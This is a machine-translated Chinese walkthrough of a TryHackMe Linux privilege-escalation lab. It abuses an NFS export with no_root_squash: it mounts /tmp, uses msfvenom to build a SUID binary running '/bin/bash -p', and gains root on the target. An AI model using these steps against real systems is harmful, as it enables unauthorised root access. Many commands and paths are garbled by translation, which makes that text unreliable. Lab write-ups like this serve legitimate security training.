这次,我们将尝试“使用NFS Mount no_root_squash提升特权”。
目标机使用Tryhackme下面的房间。
“ tryhackme-linux privesc: https://tryhackme.com/room/linuxprivesc ”
本文是第9部分。
如果您想使用TryHackme查看Linux Privesc的写入,请检查利用历史记录文件,配置文件和重要文件的备份的电子特权





准备
首先,使用Start Machine启动目标机器。

如果显示IP地址,则可以。

这次,由于它已升级为特权,因此我将检查一下可以通过SSH连接的位置。
如Tryhackme所示,使用“用户/密码321”连接。
┌──(hacklab㉿hacklab)-[~/tryhackme/linuxprv] └─$ ssh user@10.10.175.49 130 ⨯ user@10.10.175.49's password: Linux debian 2.6.32-5-amd64 #1 SMP Tue May 13 16:34:35 UTC 2014 x86_64 The programs included with the Debian GNU/Linux系统是免费软件;在/usr/share/doc/*/版权所有的单个文件中描述了每个程序的确切分发术语。在适用法律允许的范围内,Debian GNU/Linux绝对没有保修。上次登录:星期五5月15日06:41:23 2020从192.168.1.125
NFS
通过NFS创建的文件将继承远程用户的ID。
如果用户是root且启用了根南瓜(未指定NO_ROOT_SQUASH),则ID将设置为“ Nobone”。
相反,如果禁用了根南瓜(指定了no_root_squash),请注意,您的访问权限与root相同。
让我们检查Debian VM的NFS共享配置。
user@debian:〜$ cat /etc /enforts# /etc /exports:可能将#导出到NFS客户端的文件系统的访问控制列表。参见出口(5)。 NFSV2和NFSV3的示例:# /srv /homes hostname1(rw,sync,no_subtree_check)hostName2(ro,sync,no_subtree_check) gss/krb5i(rw,sync,fsid = 0,crossmnt,no_subtree_check)#/srv/nfs4/homes gss/krb5i(rw,no_subtree_check) *(RW,同步,不安全,NO_SUBTREE_CHECK)
您是否注意到“/tmp”中指定了no_root_squash?
接下来,我们将在“/tmp”中利用no_root_squash升级特权。
首先,让我们扎根攻击机。 (即使在目标机器上,也与root /tmp上的root相同的特权。)
┌─-(hacklab㉿hacklab) - [〜]└─$ sudo su ssu┌isto┌─-
接下来,在攻击机和安装 /TMP上创建一个安装点。
(root💀hacklab) - [/home/hamclab]└─#mkdir/tmp/nfs┌-┌─-(root💀hackLab) - [/home/home/home/hacklab]└ - #mount -o rw,vers -o rw,vers = 3 10.10.175.49:/tmp/tmp/tmp/tmp/tmp/tmp/nfs
接下来,使用MSFVENOM生成一个有效载荷,该有效载荷 /bin /bash。
生成的有效载荷将保存在 /TMP /NFS中。
┌──(root💀hacklab)-[/home/hacklab] └─# msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o /tmp/nfs/shell.elf [-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload [-] No arch selected, selecting arch: x86 from the payload未指定编码器,输出原始有效负载有效载荷大小:48字节的最终大小:132字节保存为:/tmp/nfs/shell.elf
授予SUID特权,以便一旦目标用户执行其运行所有者特权。 (攻击机的根被认为是目标机器的根,并且通过授予SUID特权,目标机器的其他用户也可以使用根特权运行。)
┌-(root💀hacklab) - [/home/hacklab]└─#chmod +xs/tmp/nfs/shell.elf.elf
完成此操作后,返回目标机器并运行刚保存的shell.elf。
用户@debian:〜$ /tmp/shell.elf bash-4.1#whoami root
我成功获得了根特权。

概括
这次,我尝试了“使用NFS Mount no_root_squash的特权高程”。
最后,您是否注意到出现了使用SUID特权运行的问题?
什么是SUID许可?如果您是这样认为的,请还请参考使用SUID/SGID可执行文件的电极

参考和站点
- -